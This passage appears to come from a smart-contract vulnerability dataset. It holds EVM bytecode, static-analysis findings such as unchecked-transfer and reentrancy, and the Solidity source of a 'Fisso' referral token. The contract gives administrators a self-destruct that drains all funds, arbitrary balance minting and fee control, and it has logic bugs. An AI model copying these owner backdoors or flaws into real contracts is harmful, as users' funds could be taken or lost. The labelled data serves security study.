ffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561206f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f4e4c59204f574e455220495320414c4c4f574544000000000000000000000081525060200191505060405180910390fd5b61207960006125c8565b601560009054906101000a900460ff161515156120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f5072652d53616c65206973204e4f5420434c4f5345200000000000000000000081525060200191505060405180910390fd5b80600d5410151515612178576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4e4f205072652d53414c4520546f6b656e7320417661696c61626c650000000081525060200191505060405180910390fd5b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561223d57600080fd5b505af1158015612251573d6000803e3d6000fd5b505050506040513d602081101561226757600080fd5b81019080805190602001909291905050505061228e81600d54612c2090919063ffffffff16565b600d819055505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612388576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f4e4c59204f574e455220495320414c4c4f574544000000000000000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60125481565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561249d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f57524f4e4720416464726573730000000000000000000000000000000000000081525060200191505060405180910390fd5b60008114151515612516576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f496e73756666696369656e742066756e6473000000000000000000000000000081525060200191505060405180910390fd5b601354811015801561252a57506014548111155b15156125c4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b8152602001807f46554e44532073686f756c64206265204d494e20302c312045544820616e642081526020017f4d6178203230302045544800000000000000000000000000000000000000000081525060400191505060405180910390fd5b5050565b60125481600c540110151561262d576000601560006101000a81548160ff0219169083151502179055506000601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff02191690831515021790555061290e565b601560029054906101000a900460ff1615612698576000601560006101000a81548160ff0219169083151502179055506000601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff02191690831515021790555061290d565b60025442101580156126ac57506003544211155b15612750576001601560006101000a81548160ff0219169083151502179055506000601560016101000a81548160ff0219169083151502179055506000601560026101000a81548160ff021916908315150217905550600060105410151561274b5761273c600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601054612c3c565b1561274a5760006010819055505b5b61290c565b600454421015801561276457506005544211155b156127bf576000601560006101000a81548160ff0219169083151502179055506001601560016101000a81548160ff0219169083151502179055506000601560026101000a81548160ff02191690831515021790555061290b565b60065442101580156127d357506007544211155b1561282e576000601560006101000a81548160ff0219169083151502179055506000601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff02191690831515021790555061290a565b6000601560006101000a81548160ff0219169083151502179055506000601560016101000a81548160ff0219169083151502179055506000601560026101000a81548160ff0219169083151502179055506000600f54101580156128955750600060115410155b15612909576128c8600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f54612c3c565b506000600f819055506128ff600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601154612c3c565b5060006011819055505b5b5b5b5b5b50565b601560009054906101000a900460ff16156129e85760196060604051908101604052808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001428152509080600181540180825580915050906001820390600052602060002090600302016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020155505050612b94565b601560019054906101000a900460ff1615612abf57601a6060604051908101604052808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001428152509080600181540180825580915050906001820390600052602060002090600302016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020155505050612b93565b601560029054906101000a900460ff1615612b9257601b6060604051908101604052808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001428152509080600181540180825580915050906001820390600052602060002090600302016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201555050505b5b5b5050565b60008183019050828110151515612bae57600080fd5b92915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015612c1c573d6000803e3d6000fd5b5050565b6000828211151515612c3157600080fd5b818303905092915050565b600080829050601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015612d0757600080fd5b505af1158015612d1b573d6000803e3d6000fd5b505050506040513d6020811015612d3157600080fd5b8101908080519060200190929190505050506001915050929150505600a165627a7a723058204b78ed189cdce2fbdc808f372a0c32125ff057b0f5a6994459429534f0c870970029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 7,940 |
0x757dc2a94a1ea6bb97cba8ddcf841246247bce7b
|
pragma solidity ^0.4.26;
contract Fisso {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
uint256 totalSupply,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "Fisso";
string public symbol = "FISSO";
uint256 constant public totalSupply_ = 50000000;
uint8 constant public decimals = 0;
uint256 constant internal tokenPriceInitial_ = 27027027;
uint256 constant internal tokenPriceIncremental_ = 216216;
uint256 public percent = 350;
uint256 public currentPrice_ = tokenPriceInitial_ + tokenPriceIncremental_;
uint256 public communityFunds = 0;
address dev1; //management fees
address dev2; //development and progress account
address dev3; //marketing expenditure
address dev4; //running cost and other expenses
/*================================
= DATASETS =
================================*/
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal rewardBalanceLedger_;
address[] public holders_ = new address[](0);
address sonk;
uint256 internal tokenSupply_ = 0;
mapping(address => bool) public administrators;
mapping(address => address) public genTree;
constructor() public
{
sonk = msg.sender;
administrators[sonk] = true;
}
function upgradeContract(address[] _users, uint256[] _balances, uint256[] _rewardBalances, address[] _refers, uint modeType)
onlyAdministrator()
public
{
if(modeType == 1)
{
for(uint i = 0; i<_users.length;i++)
{
genTree[_users[i]] = _refers[i];
if(_balances[i] > 0)
{
tokenBalanceLedger_[_users[i]] += _balances[i];
rewardBalanceLedger_[_users[i]] += _rewardBalances[i];
tokenSupply_ += _balances[i];
holders_.push(_users[i]);
emit Transfer(address(this),_users[i],_balances[i]);
}
}
}
if(modeType == 2)
{
for(i = 0; i<_users.length;i++)
{
rewardBalanceLedger_[_users[i]] += _balances[i];
}
}
}
function upgradeDetails(uint256 _currentPrice, uint256 _commFunds)
onlyAdministrator()
public
{
currentPrice_ = _currentPrice;
communityFunds = _commFunds;
}
function fundsInjection() public payable returns(bool)
{
return true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
genTree[msg.sender] = _referredBy;
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function withdrawRewards(address customerAddress_)
onlyAdministrator()
public
{
if(rewardBalanceLedger_[customerAddress_]>5000000000000000)
{
uint256 toSend_ = SafeMath.sub(rewardBalanceLedger_[customerAddress_],5000000000000000);
rewardBalanceLedger_[customerAddress_] = 0;
customerAddress_.transfer(toSend_);
}
}
function reInvest()
public
returns(uint256)
{
address customerAddress_ = msg.sender;
require(rewardBalanceLedger_[customerAddress_] >= (currentPrice_*2), 'Your rewards are too low yet');
uint256 tokensBought_ = purchaseTokens(rewardBalanceLedger_[customerAddress_], genTree[msg.sender]);
rewardBalanceLedger_[customerAddress_] = 0;
return tokensBought_;
}
function distributeRewards(uint256 amountToDistribute)
public
onlyAdministrator()
{
if(communityFunds >= amountToDistribute)
{
for(uint i = 0; i<holders_.length;i++)
{
uint256 _balance = tokenBalanceLedger_[holders_[i]];
if(_balance>0)
{
rewardBalanceLedger_[holders_[i]] += ((_balance*10000000/tokenSupply_)*(amountToDistribute))/10000000;
}
}
communityFunds -= amountToDistribute;
}
}
/**
* Liquifies tokens to ethereum.
*/
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens,true);
uint256 _dividends = _ethereum * 2200/10000;
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
uint256 rewardsToDistribute = (_dividends*10)/176;
rewardBalanceLedger_[dev1] += rewardsToDistribute*2;
rewardBalanceLedger_[dev2] += rewardsToDistribute*2;
rewardBalanceLedger_[dev3] += rewardsToDistribute*2;
rewardBalanceLedger_[dev4] += rewardsToDistribute*2;
communityFunds += rewardsToDistribute * 8;
rewardBalanceLedger_[feeHolder_] += _dividends-(16*rewardsToDistribute);
// fire event
emit Transfer(_customerAddress,address(this), _amountOfTokens);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
_customerAddress.transfer(_taxedEthereum);
}
address feeHolder_;
function registerDev234(address _devAddress1, address _devAddress2, address _devAddress3,address _devAddress4,address _feeHolder)
onlyAdministrator()
public
{
dev1 = _devAddress1;
dev2 = _devAddress2;
dev3 = _devAddress3;
dev4 = _devAddress4;
feeHolder_ = _feeHolder;
administrators[feeHolder_] = true;
}
function transfer(address _toAddress, uint256 _amountOfTokens)
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
uint256 _tokenFee = _amountOfTokens * 10/100;
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function destruct() onlyAdministrator() public{
selfdestruct(sonk);
}
function setPercent(uint256 newPercent) onlyAdministrator() public {
percent = newPercent * 10;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
function totalSupply()
public
pure
returns(uint256)
{
return totalSupply_;
}
function tokenSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function getCommunityFunds()
public
view
returns(uint256)
{
return communityFunds;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
//check the ethereum reward balance
function rewardOf(address _customerAddress)
view
public
returns(uint256)
{
return rewardBalanceLedger_[_customerAddress];
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(2,false);
uint256 _dividends = _ethereum * 2200/10000;
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
return currentPrice_;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell,false);
uint256 _dividends = _ethereum * 2200/10000;
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
event testLog(
uint256 currBal
);
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = _ethereumToSpend * percent/1000;
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum, currentPrice_, false);
return _amountOfTokens;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _dividends = _incomingEthereum * percent/1000;
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum , currentPrice_, true);
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
if(tokenBalanceLedger_[_customerAddress] == _amountOfTokens)
{
holders_.push(_customerAddress);
}
uint256 rewardsToDistribute = (_dividends * 100) / 750;
communityFunds += rewardsToDistribute * 2;
rewardBalanceLedger_[_referredBy] += rewardsToDistribute * 3;
_dividends -= 7*rewardsToDistribute;
rewardBalanceLedger_[feeHolder_] = _dividends;
rewardsToDistribute = 2 * rewardsToDistribute;
rewardBalanceLedger_[dev1] = rewardBalanceLedger_[dev1]+(rewardsToDistribute*250/1000);
rewardBalanceLedger_[dev2] = rewardBalanceLedger_[dev2]+(rewardsToDistribute*250/1000);
rewardBalanceLedger_[dev3] = rewardBalanceLedger_[dev3]+(rewardsToDistribute*250/1000);
rewardBalanceLedger_[dev4] = rewardBalanceLedger_[dev4]+(rewardsToDistribute*250/1000);
require(SafeMath.add(_amountOfTokens,tokenSupply_) <= totalSupply_);
// fire event
emit Transfer(address(this),_customerAddress, _amountOfTokens);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum, uint256 _currentPrice, bool buy_)
internal
view
returns(uint256)
{
uint256 _tempad = SafeMath.sub((2*_currentPrice), _tokenPriceIncremental);
uint256 _tokenSupply = tokenSupply_;
uint256 _tokenPriceIncremental = (tokenPriceIncremental_*(3**(_tokenSupply/5000000)));
uint256 _totalTokens = 0;
uint256 _tokensReceived = (
(
SafeMath.sub(
(sqrt
(
_tempad**2
+ (8*_tokenPriceIncremental*_ethereum)
)
), _tempad
)
)/(2*_tokenPriceIncremental)
);
uint256 tempbase = ((_tokenSupply/5000000)+1)*5000000;
while((_tokensReceived + _tokenSupply) > tempbase){
_tokensReceived = tempbase - _tokenSupply;
_ethereum = SafeMath.sub(
_ethereum,
((_tokensReceived)/2)*
((2*_currentPrice)+((_tokensReceived-1)
*_tokenPriceIncremental))
);
_currentPrice = _currentPrice+((_tokensReceived-1)*_tokenPriceIncremental);
_tokenPriceIncremental = (tokenPriceIncremental_*((3)**((_tokensReceived + _tokenSupply)/5000000)));
_tempad = SafeMath.sub((2*_currentPrice), _tokenPriceIncremental);
uint256 _tempTokensReceived = (
(
SafeMath.sub(
(sqrt
(
_tempad**2
+ (8*_tokenPriceIncremental*_ethereum)
)
), _tempad
)
)/(2*_tokenPriceIncremental)
);
_tokenSupply = _tokenSupply + _tokensReceived;
_totalTokens = _totalTokens + _tokensReceived;
_tokensReceived = _tempTokensReceived;
tempbase = ((_tokenSupply/5000000)+1)*5000000;
}
_totalTokens = _totalTokens + _tokensReceived;
_currentPrice = _currentPrice+((_tokensReceived-1)*_tokenPriceIncremental);
if(buy_ == true)
{
currentPrice_ = _currentPrice;
}
return _totalTokens;
}
function tokensToEthereum_(uint256 _tokens, bool sell_)
internal
view
returns(uint256)
{
uint256 _tokenSupply = tokenSupply_;
uint256 _etherReceived = 0;
uint256 tempbase = ((_tokenSupply/5000000))*5000000;
uint256 _currentPrice = currentPrice_;
uint256 _tokenPriceIncremental = (tokenPriceIncremental_*((3)**(_tokenSupply/5000000)));
while((_tokenSupply - _tokens) < tempbase)
{
uint256 tokensToSell = _tokenSupply - tempbase;
if(tokensToSell == 0)
{
_tokenSupply = _tokenSupply - 1;
tempbase = ((_tokenSupply/5000000))*5000000;
continue;
}
uint256 b = ((tokensToSell-1)*_tokenPriceIncremental);
uint256 a = _currentPrice - b;
_tokens = _tokens - tokensToSell;
_etherReceived = _etherReceived + ((tokensToSell/2)*((2*a)+b));
_currentPrice = a;
_tokenSupply = _tokenSupply - tokensToSell;
_tokenPriceIncremental = (tokenPriceIncremental_*((3)**((_tokenSupply-1)/5000000)));
tempbase = (((_tokenSupply-1)/5000000))*5000000;
}
if(_tokens > 0)
{
a = _currentPrice - ((_tokens-1)*_tokenPriceIncremental);
_etherReceived = _etherReceived + ((_tokens/2)*((2*a)+((_tokens-1)*_tokenPriceIncremental)));
_tokenSupply = _tokenSupply - _tokens;
_currentPrice = a;
}
if(sell_ == true)
{
currentPrice_ = _currentPrice;
}
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6080604052600436106101b7576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101c557806310d0ffdd1461025557806318160ddd146102965780631d62ebd9146102c15780632216a7631461031857806322609373146103db5780632b68b9c61461041c5780632e926d4914610433578063313ce5671461045e578063324536eb1461048f5780633319544c146104ba57806342d86693146104f15780634b7503341461053457806350be99ad1461055f57806359974e381461058a5780635caef00a146105b75780636b2f4632146105e257806370a082311461060d57806370ba1113146106645780637154b8b51461068f57806376be1585146106bc57806376ffbec6146107175780637824407f146107425780638620410b1461076d578063949e8acd1461079857806395d89b41146107c35780639b5aaebf14610853578063a9059cbb146108d6578063b84c82461461093b578063ba1b37f2146109a4578063c47f0027146109c6578063da51cc8514610a2f578063e1dc76b014610b68578063e4849b3214610bd5578063f088d54714610c02575b6101c2346000610c4c565b50005b3480156101d157600080fd5b506101da6112da565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021a5780820151818401526020810190506101ff565b50505050905090810190601f1680156102475780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026157600080fd5b5061028060048036038101908080359060200190929190505050611378565b6040518082815260200191505060405180910390f35b3480156102a257600080fd5b506102ab6113b9565b6040518082815260200191505060405180910390f35b3480156102cd57600080fd5b50610302600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113c5565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b506103d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061140e565b005b3480156103e757600080fd5b5061040660048036038101908080359060200190929190505050611632565b6040518082815260200191505060405180910390f35b34801561042857600080fd5b50610431611681565b005b34801561043f57600080fd5b50610448611719565b6040518082815260200191505060405180910390f35b34801561046a57600080fd5b5061047361171f565b604051808260ff1660ff16815260200191505060405180910390f35b34801561049b57600080fd5b506104a4611724565b6040518082815260200191505060405180910390f35b3480156104c657600080fd5b506104ef600480360381019080803590602001909291908035906020019092919050505061172c565b005b3480156104fd57600080fd5b50610532600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061179c565b005b34801561054057600080fd5b5061054961192c565b6040518082815260200191505060405180910390f35b34801561056b57600080fd5b50610574611986565b6040518082815260200191505060405180910390f35b34801561059657600080fd5b506105b560048036038101908080359060200190929190505050611b41565b005b3480156105c357600080fd5b506105cc611d0f565b6040518082815260200191505060405180910390f35b3480156105ee57600080fd5b506105f7611d15565b6040518082815260200191505060405180910390f35b34801561061957600080fd5b5061064e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d34565b6040518082815260200191505060405180910390f35b34801561067057600080fd5b50610679611d7d565b6040518082815260200191505060405180910390f35b34801561069b57600080fd5b506106ba60048036038101908080359060200190929190505050611d83565b005b3480156106c857600080fd5b506106fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611dee565b604051808215151515815260200191505060405180910390f35b34801561072357600080fd5b5061072c611e0e565b6040518082815260200191505060405180910390f35b34801561074e57600080fd5b50610757611e18565b6040518082815260200191505060405180910390f35b34801561077957600080fd5b50610782611e22565b6040518082815260200191505060405180910390f35b3480156107a457600080fd5b506107ad611e2c565b6040518082815260200191505060405180910390f35b3480156107cf57600080fd5b506107d8611e41565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108185780820151818401526020810190506107fd565b50505050905090810190601f1680156108455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561085f57600080fd5b50610894600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611edf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108e257600080fd5b50610921600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f12565b604051808215151515815260200191505060405180910390f35b34801561094757600080fd5b506109a2600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506120c3565b005b6109ac61213b565b604051808215151515815260200191505060405180910390f35b3480156109d257600080fd5b50610a2d600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612144565b005b348015610a3b57600080fd5b50610b6660048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001909291905050506121bc565b005b348015610b7457600080fd5b50610b93600480360381019080803590602001909291905050506125e2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610be157600080fd5b50610c0060048036038101908080359060200190929190505050612620565b005b610c36600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a74565b6040518082815260200191505060405180910390f35b6000806000806000803394506103e86002548902811515610c6957fe5b049350610c768885612b04565b9250610c86836003546001612b1d565b9150600082118015610ca45750600d54610ca283600d54612c93565b115b1515610caf57600080fd5b610cbb600d5483612c93565b600d81905550610d0a600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612c93565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610dfb57600b8590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b6102ee60648502811515610e0b57fe5b0490506002810260046000828254019250508190555060038102600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806007028403935083600a6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060020290506103e860fa8202811515610ef557fe5b04600a6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600a6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506103e860fa8202811515610fce57fe5b04600a6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600a6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506103e860fa82028115156110a757fe5b04600a6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600a6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506103e860fa820281151561118057fe5b04600a6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600a6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506302faf08061125a83600d54612c93565b1115151561126757600080fd5b8473ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3819550505050505092915050565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113705780601f1061134557610100808354040283529160200191611370565b820191906000526020600020905b81548152906001019060200180831161135357829003601f168201915b505050505081565b6000806000806103e8600254860281151561138f57fe5b04925061139c8584612b04565b91506113ac826003546000612b1d565b9050809350505050919050565b60006302faf080905090565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000339050600e60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561146b57600080fd5b85600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050505050565b600080600080600d54851115151561164957600080fd5b611654856000612cb1565b9250612710610898840281151561166757fe5b0491506116748383612b04565b9050809350505050919050565b6000339050600e60008273ffffffffffffffffffffffffffff